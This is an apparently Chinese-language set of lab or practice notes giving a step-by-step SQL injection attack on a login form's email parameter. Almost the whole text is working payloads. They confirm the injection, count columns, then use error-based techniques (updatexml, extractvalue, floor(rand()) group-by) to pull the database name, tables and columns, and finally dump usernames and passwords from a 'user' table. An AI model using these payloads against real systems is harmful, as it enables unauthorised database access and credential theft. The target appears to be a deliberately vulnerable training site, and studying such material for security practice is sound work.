1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| 1.前段验证邮箱 email=1@1.com passwoed=1
2.post提交,判断注入 email=1' or 1#&password=1
3.判断字段 email=1' order by 3#&password=1 email=1' order by 4#&password=1
4.报错注入 email=1'&password=1
5.爆出数据库 email=1' and updatexml(1,concat(0x7e,database(),0x7e,user()),1)#&password=1 email=1' and extractvalue(1,concat(0x7e,user(),0x7e,database()))#&password=1 email=1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x7e,database(),0x7e,user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#&password=1
6.爆当前数据库表 email=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#&password=1 email=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#&password=1 email=1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x7e)from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#&password=1
7.爆字段 email=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='twosecu1_vuln_08' and table_name='user'),0x7e),1)#&password=1 email=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='twosecu1_vuln_08' and table_name='user'),0x7e))#&password=1 email=1' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x7e)from information_schema.columns where table_schema='twosecu1_vuln_08' and table_name='user' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#&password=1
8.爆数据库内容 email=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from twosecu1_vuln_08.user)),1)#&password=1 email=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from twosecu1_vuln_08.user)))#&password=1 email=1' union select 1,2,3 from (select count(*),concat((select concat(password,0x7e) from twosecu1_vuln_08.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#&password=1
|